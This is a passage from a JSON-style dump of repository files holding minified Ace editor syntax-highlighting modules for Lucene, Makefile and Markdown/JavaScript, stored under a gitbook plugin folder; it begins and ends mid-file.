    "content": "define(\"ace/mode/lucene_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){this.$rules={start:[{token:\"constant.character.negation\",regex:\"[\\\\-]\"},{token:\"constant.character.interro\",regex:\"[\\\\?]\"},{token:\"constant.character.asterisk\",regex:\"[\\\\*]\"},{token:\"constant.character.proximity\",regex:\"~[0-9]+\\\\b\"},{token:\"keyword.operator\",regex:\"(?:AND|OR|NOT)\\\\b\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"keyword\",regex:\"[\\\\S]+:\"},{token:\"string\",regex:'\".*?\"'},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(o,s),t.LuceneHighlightRules=o}),define(\"ace/mode/lucene\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lucene_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lucene_highlight_rules\").LuceneHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.$id=\"ace/mode/lucene\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-makefile.js",
    "content": "define(\"ace/mode/sh_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.reservedKeywords=\"!|{|}|case|do|done|elif|else|esac|fi|for|if|in|then|until|while|&|;|export|local|read|typeset|unset|elif|select|set|function|declare|readonly\",o=t.languageConstructs=\"[|]|alias|bg|bind|break|builtin|cd|command|compgen|complete|continue|dirs|disown|echo|enable|eval|exec|exit|fc|fg|getopts|hash|help|history|jobs|kill|let|logout|popd|printf|pushd|pwd|return|set|shift|shopt|source|suspend|test|times|trap|type|ulimit|umask|unalias|wait\",u=function(){var e=this.createKeywordMapper({keyword:s,\"support.function.builtin\":o,\"invalid.deprecated\":\"debugger\"},\"identifier\"),t=\"(?:(?:[1-9]\\\\d*)|(?:0))\",n=\"(?:\\\\.\\\\d+)\",r=\"(?:\\\\d+)\",i=\"(?:(?:\"+r+\"?\"+n+\")|(?:\"+r+\"\\\\.))\",u=\"(?:(?:\"+i+\"|\"+r+\")\"+\")\",a=\"(?:\"+u+\"|\"+i+\")\",f=\"(?:&\"+r+\")\",l=\"[a-zA-Z_][a-zA-Z0-9_]*\",c=\"(?:\"+l+\"=)\",h=\"(?:\\\\$(?:SHLVL|\\\\$|\\\\!|\\\\?))\",p=\"(?:\"+l+\"\\\\s*\\\\(\\\\))\";this.$rules={start:[{token:\"constant\",regex:/\\\\./},{token:[\"text\",\"comment\"],regex:/(^|\\s)(#.*)$/},{token:\"string\",regex:'\"',push:[{token:\"constant.language.escape\",regex:/\\\\(?:[$`\"\\\\]|$)/},{include:\"variables\"},{token:\"keyword.operator\",regex:/`/},{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string\",regex:\"\\\\$'\",push:[{token:\"constant.language.escape\",regex:/\\\\(?:[abeEfnrtv\\\\'\"]|x[a-fA-F\\d]{1,2}|u[a-fA-F\\d]{4}([a-fA-F\\d]{4})?|c.|\\d{1,3})/},{token:\"string\",regex:\"'\",next:\"pop\"},{defaultToken:\"string\"}]},{regex:\"<<<\",token:\"keyword.operator\"},{stateName:\"heredoc\",regex:\"(<<-?)(\\\\s*)(['\\\"`]?)([\\\\w\\\\-]+)(['\\\"`]?)\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[4]),[{type:\"constant\",value:i[1]},{type:\"text\",value:i[2]},{type:\"string\",value:i[3]},{type:\"support.class\",value:i[4]},{type:\"string\",value:i[5]}]},rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^\t+\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:[\"keyword\",\"text\",\"text\",\"text\",\"variable\"],regex:/(declare|local|readonly)(\\s+)(?:(-[fixar]+)(\\s+))?([a-zA-Z_][a-zA-Z0-9_]*\\b)/},{token:\"variable.language\",regex:h},{token:\"variable\",regex:c},{include:\"variables\"},{token:\"support.function\",regex:p},{token:\"support.function\",regex:f},{token:\"string\",start:\"'\",end:\"'\"},{token:\"constant.numeric\",regex:a},{token:\"constant.numeric\",regex:t+\"\\\\b\"},{token:e,regex:\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|~|<|>|<=|=>|=|!=|[%&|`]\"},{token:\"punctuation.operator\",regex:\";\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]]\"},{token:\"paren.rparen\",regex:\"[\\\\)\\\\}]\",next:\"pop\"}],variables:[{token:\"variable\",regex:/(\\$)(\\w+)/},{token:[\"variable\",\"paren.lparen\"],regex:/(\\$)(\\()/,push:\"start\"},{token:[\"variable\",\"paren.lparen\",\"keyword.operator\",\"variable\",\"keyword.operator\"],regex:/(\\$)(\\{)([#!]?)(\\w+|[*@#?\\-$!0_])(:[?+\\-=]?|##?|%%?|,,?\\/|\\^\\^?)?/,push:\"start\"},{token:\"variable\",regex:/\\$[*@#?\\-$!0_]/},{token:[\"variable\",\"paren.lparen\"],regex:/(\\$)(\\{)/,push:\"start\"}]},this.normalizeRules()};r.inherits(u,i),t.ShHighlightRules=u}),define(\"ace/mode/makefile_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/sh_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./sh_highlight_rules\"),o=function(){var e=this.createKeywordMapper({keyword:s.reservedKeywords,\"support.function.builtin\":s.languageConstructs,\"invalid.deprecated\":\"debugger\"},\"string\");this.$rules={start:[{token:\"string.interpolated.backtick.makefile\",regex:\"`\",next:\"shell-start\"},{token:\"punctuation.definition.comment.makefile\",regex:/#(?=.)/,next:\"comment\"},{token:[\"keyword.control.makefile\"],regex:\"^(?:\\\\s*\\\\b)(\\\\-??include|ifeq|ifneq|ifdef|ifndef|else|endif|vpath|export|unexport|define|endef|override)(?:\\\\b)\"},{token:[\"entity.name.function.makefile\",\"text\"],regex:\"^([^\\\\t ]+(?:\\\\s[^\\\\t ]+)*:)(\\\\s*.*)\"}],comment:[{token:\"punctuation.definition.comment.makefile\",regex:/.+\\\\/},{token:\"punctuation.definition.comment.makefile\",regex:\".+\",next:\"start\"}],\"shell-start\":[{token:e,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"string\",regex:\"\\\\w+\"},{token:\"string.interpolated.backtick.makefile\",regex:\"`\",next:\"start\"}]}};r.inherits(o,i),t.MakefileHighlightRules=o}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/makefile\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/makefile_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./makefile_highlight_rules\").MakefileHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.$indentWithTabs=!0,this.$id=\"ace/mode/makefile\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-markdown.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return 